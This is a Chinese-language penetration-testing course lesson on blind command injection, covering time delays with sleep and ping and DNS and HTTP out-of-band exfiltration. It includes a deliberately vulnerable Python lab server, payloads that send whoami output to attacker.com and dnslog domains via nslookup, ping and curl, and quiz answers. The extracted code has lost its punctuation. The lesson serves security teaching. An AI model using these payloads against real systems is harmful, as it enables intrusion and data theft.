【八个月网安课程】第八周·周五:无回显命令执行——DNS 外带、延时判断

发布时间:2026/10/3 8:45:06
【八个月网安课程】第八周·周五:无回显命令执行——DNS 外带、延时判断 今天将面对更真实的攻击场景命令执行后页面没有任何回显。此时延时判断与 DNS 外带成为盲命令注入的两大利器让你在完全“看不见”的情况下也能获取命令输出甚至建立交互式 Shell。第八周·周五无回显命令执行——DNS 外带、延时判断 今日学习目标达成效果能理解无回显命令注入Blind Command Injection的场景服务器执行了注入的命令但响应中不显示任何命令输出无法直接看到结果能使用sleep、timeout等命令通过观察响应时间差异判断注入点是否存在以及命令是否成功执行能解释DNS 外带原理将命令输出编码后拼接在域名中通过 DNS 查询将数据传出并在 DNSLog 平台查看结果能独立搭建一个简单的无回显命令注入环境并使用sleep验证漏洞存在能在 DVWA 或其他靶场中利用 DNS 外带技术将whoami等命令的结果通过 DNS 请求传递到外部服务器能说出HTTP 外带curl/wget的使用条件及其局限性并与 DNS 外带对比适用场景能从防御角度认识到限制出站流量特别是 DNS 与 ICMP、禁用危险函数、严格输入校验是防御盲注入的关键。 一、当页面沉默时盲命令注入的出现昨天我们在 DVWA Low 难度中直接看到了whoami的输出那是因为后端使用了system()并将结果直接打印到了页面。然而在很多生产环境中开发者可能仅执行命令而不返回任何输出或者将输出重定向到文件、丢弃。此时你仍然能让服务器执行命令但无法看到结果。这就是盲命令注入Blind Command Injection。真实案例某应用提供 DNS 检查功能后端执行nslookup user-input但页面永远只返回“解析完成”无论命令是否成功。攻击者可通过构造 payload 引入时间延迟或外带数据来确认漏洞并窃取信息。 二、基于时间的盲注入让服务器“睡一觉”如果命令执行后没有任何可见差异但服务器响应时间会受我们控制那么就可以利用时间延迟来判断注入点。1. 使用sleep命令在 Linux 中sleep 5会使进程暂停 5 秒。如果注入成功后服务器响应时间明显增加则说明漏洞存在。检测 payload127.0.0.1;sleep5若原本页面瞬间返回加上 sleep 后需等待 5 秒则注入成功。进阶结合条件判断;if[$(whoami)www-data];thensleep5;fi仅在条件为真时延迟可用于逐位猜解数据。Windows 环境可使用timeout /t 5或ping -n 6 127.0.0.1 nul实现类似延时。2. 使用ping造成延迟ping -c 5 127.0.0.1会消耗约 4 秒可代替 sleep尤其在 sleep 被禁的情况下。注意时间盲注极慢通常需要脚本自动化。今天你只需手工验证延迟效果。 三、DNS 外带让数据“穿墙而出”如果服务器不允许出站 HTTP 请求但允许 DNS 查询大多数网络环境下 DNS 是必须的攻击者就可以将命令输出编码为子域名的一部分通过 DNS 查询发送到自己控制的域名服务器并在 DNS 日志中查看外泄的数据。1. 原理攻击者拥有一个域名如attacker.com并设置好 DNS 解析使得该域名的所有查询都会被记录可以使用免费的 DNSLog 平台如dnslog.cn、ceye.io等。攻击者在命令注入 payload 中构造;pingwhoami.attacker.com或;nslookup$(whoami).attacker.com服务器执行whoami如输出www-data然后用ping或nslookup去解析域名www-data.attacker.com。域名解析请求到达攻击者的 DNS 服务器被记录在日志中。攻击者查看日志提取子域名部分www-data即获得了命令输出。2. 适用工具/平台DNSLog 平台dnslog.cn、ceye.io、burpcollaborator.net等提供临时子域名直接查看 DNS 请求记录。自建 DNS 服务器拥有域名和 VPS利用tcpdump监控 53 端口即可。3. 常见数据外带技巧将命令输出通过管道处理去除非 DNS 允许的字符;nslookupwhoami|seds/[^a-zA-Z0-9]//g.attacker.com对于复杂输出可以分段外带或使用 Base64 编码再分段发送。如果nslookup和ping被禁用可尝试dig、host等工具。 四、HTTP 外带可选扩展如果服务器能发起 HTTP 请求还可以使用curl或wget将数据通过 GET 参数送出;curlhttp://attacker.com/$(whoami)服务端日志会记录请求的 URL从而泄露数据。局限性防火墙可能限制出站 HTTP 连接某些环境下curl或wget可能被卸载或禁用URL 长度限制可能截断数据。因此 DNS 外带通常更为隐蔽和可靠。✍️ 五、动手实践搭建无回显环境并外带数据由于 DVWA 的命令注入默认有回显我们需要修改其后端代码或自建一个简单无回显场景来练习盲注入。为了不破坏 DVWA我们采用自建 Python 靶场。1. 编写无回显命令注入服务blind_cmd.pyfromhttp.serverimportHTTPServer,BaseHTTPRequestHandlerimportsubprocessclassBlindHandler(BaseHTTPRequestHandler):defdo_GET(self):ifcmdinself.path:# 提取 cmd 参数paramself.path.split(cmd)[-1].split()[0]# 漏洞点直接拼接执行但不返回输出try:subprocess.run(param,shellTrue,timeout2,stdoutsubprocess.DEVNULL,stderrsubprocess.DEVNULL)self.send_response(200)self.end_headers()self.wfile.write(bCommand executed.)except:self.send_error(500)else:self.send_response(200)self.end_headers()self.wfile.write(bOK)serverHTTPServer((0.0.0.0,8080),BlindHandler)server.serve_forever()运行python3 blind_cmd.py监听 8080 端口。说明无论命令是否成功页面只返回“Command executed.”无任何命令输出。这模拟了盲注入环境。2. 使用延时检测漏洞访问http://127.0.0.1:8080/?cmdsleep 5观察响应时间明显延迟 5 秒证明命令被执行。3. 使用 DNS 外带获取命令结果你需要一个 DNSLog 平台免费注册即可。以dnslog.cn为例打开dnslog.cn点击“获取子域名”会分配一个随机域名如abc123.dnslog.cn。在靶机浏览器或 curl 中访问http://127.0.0.1:8080/?cmdping%20%60whoami%60.abc123.dnslog.cn注意 URL 编码反引号 是 %60空格是 %20稍等片刻刷新 dnslog.cn 页面你会看到一条 DNS 解析记录www-data.abc123.dnslog.cn。证明whoami的输出www-data已被外带。扩展尝试外带其他命令如ls结果需处理多行和特殊字符cmd$(ls/|tr\n.);ping$cmd.abc123.dnslog.cn由于 DNS 标签有长度和字符限制实际可能需要分段或编码。 六、课后测试题与解析测试题 1如何使用sleep判断无回显命令注入是否存在写出 payload 并解释判断依据。参考答案Payload; sleep 5或; sleep 5 #如果服务器响应时间比正常请求明显延长了约 5 秒则说明sleep命令被成功执行注入点存在。依据正常请求瞬间返回而注入了sleep后服务器进程会暂停指定的秒数导致 HTTP 响应延迟。通过测量请求前后的时间差即可判断。测试题 2解释 DNS 外带的基本原理并给出一个获取whoami输出到 dnslog 的 payload 示例。参考答案DNS 外带利用目标服务器可发起 DNS 查询的能力将命令输出作为子域名拼接到一个由攻击者控制的域名下然后执行 DNS 查询。攻击者在自己的 DNS 服务器或第三方平台查看查询记录从子域名中提取出命令结果。示例 payload;pingwhoami.your-dnslog-domain.com或使用nslookup; nslookup $(whoami).your-domain.com。注意命令替换的反引号或$()需要根据注入点情况选择并注意特殊字符转义。✅ 今日学习效果自检清单我能解释盲命令注入与有回显命令注入的区别我成功使用sleep延时方法验证了无回显注入点的存在我注册了 DNSLog 平台并成功将whoami的结果通过 DNS 外带出来我理解了时间盲注和 DNS 外带各自的优缺点和适用场景我知道防御盲注入不仅要对输入过滤还应限制出站 DNS/ICMP 流量遵循最小权限原则⚠️ 阶段避坑重点时间盲注对网络波动敏感选择sleep时间不宜太短至少 3 秒并多次测试排除网络抖动。DNS 外带有长度和字符限制域名标签最大 63 个字符且只能包含字母、数字和连字符。外带复杂数据时需进行过滤和分段。DNS 查询可能被防火墙拦截如果目标网络不允许外部 DNS 查询或只允许指定 DNS 服务器外带可能失败。此时可尝试延时等方式。命令替换符号在不同 Shell 中的差异反引号和$()基本通用但注意转义。Windows 环境需要用%变量或其他方法。DNSLog 平台有缓存和延迟查询记录可能需要几分钟才能显示需耐心等待。同时注意平台隐私不要上传敏感信息。今天你掌握了在完全看不见的情况下依然能窃取数据的技巧这是渗透测试从“脚本小子”向专业方向进阶的重要一步。明天我们将进入命令注入的综合利用结合文件上传、反弹 Shell 等技术将盲注入转化为完全的系统控制。请保留今天的 DNSLog 账号和实验环境。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询